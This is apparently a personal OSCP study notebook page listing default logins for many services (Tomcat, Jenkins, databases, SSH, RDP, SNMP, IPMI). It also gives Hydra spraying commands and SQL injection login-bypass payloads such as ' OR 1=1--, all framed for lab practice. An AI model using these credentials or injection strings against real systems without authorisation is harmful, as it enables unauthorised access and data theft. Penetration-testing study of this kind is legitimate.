Pearson's OSCP Notebook

Default Credentials

Properties1
tagsdefault-credentials, default-creds, passwords, databases, tomcat, jenkins, snmp, authentication-bypass, sqli, oscp

4 min read

Default Credentials — Reference & Lab Log

Ctrl+F: admin:admin · tomcat:tomcat · sa: · root: · SNMP public · auth bypass · your box name

Purpose: One place for known-good default logins and your lab findings. Try generics first, then the service section, then log what worked.

External: ProjectDiscovery nuclei-templates — default-logins

Hydra / spray → Hydra · foothold workflow → Initial foothold · SecLists dumps → /usr/share/seclists/Passwords/Default-Credentials/

📌 How to use this file

  1. Every box — skim Generic + matching service before brute force.
  2. Working cred on a lab — add under that service with version / box name in a comment.
  3. Login bypass via SQL — not creds; see 📌 Authentication bypass (login inputs) or SQL Injection > 📌 2) Authentication Bypass.
# SecLists default-credential wordlists (Kali)
ls /usr/share/seclists/Passwords/Default-Credentials/
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt TARGET http-get /manager/html

📌 Generic — try on any login

admin:admin
admin:password
admin:Password1
admin:123456
admin:
root:root
root:toor
root:password
guest:guest
test:test
user:user
administrator:administrator
administrator:Password1

📌 Web servers & middleware

Apache Tomcat

Version / contextCredentials
Default install (Manager)tomcat:tomcat
admin:admin
tomcat:s3cret
role1:role1
both:tomcat
Examples / docsj2deployer:j2deployer
ovwebusr:OvW*busr1
cxsdk:kdsxc
tomcat:tomcat
admin:admin
tomcat:s3cret
role1:role1
both:tomcat
j2deployer:j2deployer

→ Tomcat · /manager/html

Jenkins

Version / contextCredentials
Older defaultadmin:password
jenkins:jenkins
Post-setupRead /var/jenkins_home/secrets/initialAdminPassword on box
admin:password
jenkins:jenkins

WordPress

admin:admin
admin:password
administrator:password

→ WPScan

phpMyAdmin

ContextCredentials
Web loginroot: (blank)
root:root
root:password
root:toor
pma:
root:
root:root
root:password
root:toor
pma:

Often same as underlying MySQL creds → MySQL

Grafana

admin:admin
admin:prom-operator

GitLab (default install)

root:5iveL!fe

(Change on first login in real installs — still worth trying on misconfigured labs.)

MinIO (S3-compatible)

minioadmin:minioadmin

→ AWS CLI with --endpoint-url

Nagios XI

Web login (monitoring dashboard):

nagiosadmin:admin
nagiosadmin:P@ssw0rd

→ Default install / lab boxes — try before spraying.

Apache ActiveMQ

VersionCredentials
Default web consoleadmin:admin
admin:admin

RabbitMQ

guest:guest

(Management plugin — port 15672.)

📌 Remote access & file transfer

SSH

root:root
root:toor
admin:admin
pi:raspberry          # Raspberry Pi default
ubuntu:ubuntu         # Some cloud images (rare now)
vagrant:vagrant       # Vagrant boxes

→ SSH

FTP

anonymous:            # blank password — try first
anonymous:anonymous
ftp:ftp
admin:admin

→ FTP

Telnet

admin:admin
root:root
admin:password

RDP

administrator:Password1
administrator:password
administrator:
Administrator:Password123

VNC

:                     # blank password (some configs)
password
vnc
admin
123456

📌 Databases

MySQL / MariaDB

Version / contextCredentials
Default / XAMPP / labroot: (blank)
root:root
root:password
root:mysql
mysql:mysql
root:
root:root
root:password

→ MySQL · port 3306

Microsoft SQL Server

Version / contextCredentials
Default sasa: (blank)
sa:Password123
sa:sa
sa:Password1
sa:
sa:Password123
sa:sa

→ MSSQL · port 1433

PostgreSQL

postgres:postgres
postgres:
admin:admin

→ PostgreSQL · port 5432

Redis

Version / contextCredentials
Default (no auth)(none — just connect)
Misconfigredis:redis
redis-cli -h TARGET
# AUTH password  — only if required

→ Redis · port 6379

MongoDB

Version / contextCredentials
Pre-3.6 / no auth enabled(none)
With authadmin:pass, root:root — spray if auth required
mongosh TARGET
# or legacy: mongo TARGET

→ MongoDB · port 27017

Oracle

SCOTT:TIGER
SYS:CHANGE_ON_INSTALL
SYSTEM:oracle
SYSTEM:manager
DBSNMP:DBSNMP
OUTLN:OUTLN

SID brute first → Oracle · port 1521

Elasticsearch (older / misconfigured)

elastic:changeme
elastic:elastic

Often no auth on old lab instances.

📌 Network & infrastructure

SNMP (community strings — not user:pass)

public
private
community
manager

snmpwalk -v2c -c public TARGET

→ snmpwalk

IPMI / BMC

ADMIN:ADMIN
admin:admin
root:calvin          # Dell iDRAC default

VMware ESXi

root:
root:vmware
root:Password123

Proxmox VE

root:password        # some lab images
admin:admin

📌 CMS & apps (quick hits)

Identify CMS first → CMSeeK - cmseek. WordPress → WPScan. Known CVE → searchsploit · Trickest CVE PoCs.

AppDefault creds
Tomcattomcat:tomcat, admin:admin
Jenkinsadmin:password
WordPressadmin:admin
phpMyAdminroot:, root:root, root:password, root:toor
Nagios XInagiosadmin:admin, nagiosadmin:P@ssw0rd
Grafanaadmin:admin
MinIOminioadmin:minioadmin
ActiveMQadmin:admin
RabbitMQguest:guest
Weblogicweblogic:weblogic, weblogic:welcome1
JBossadmin:admin

📌 Your lab findings (add below)

Template — copy per box:

### SERVICE — boxname.htb
 
**Version:** x.y.z

user:pass user2:pass2


**Notes:** where found, which path/port

📌 Authentication bypass (login inputs)

Not username:password — inject into login form fields (usually username) to break the SQL WHERE clause. Full SQLi hub → SQL Injection.

SQL — classic login bypass

Inject into the username field:

-- Classic bypass (always true)
' OR 1=1--
' OR '1'='1'--
' OR 'a'='a
admin'--
admin' #
admin'/*
 
-- MSSQL syntax
admin'--
' OR 1=1--
 
-- Variations
') OR ('1'='1
') OR 1=1--
' OR 1=1 LIMIT 1--
1 OR 1=1

Vulnerable query:

SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
-- username = admin'--  → password check commented out
FieldPayload
Usernameadmin'--
Username' OR 1=1--
Username' OR '1'='1'--
Password' OR 1=1-- (if only password checked)
Both' OR '1'='1
# Hydra — test bypass strings as username
hydra -l "' OR 1=1--" -p x TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

→ SQL Injection > 📌 2) Authentication Bypass · Union Based SQLi

Graph View

Backlinks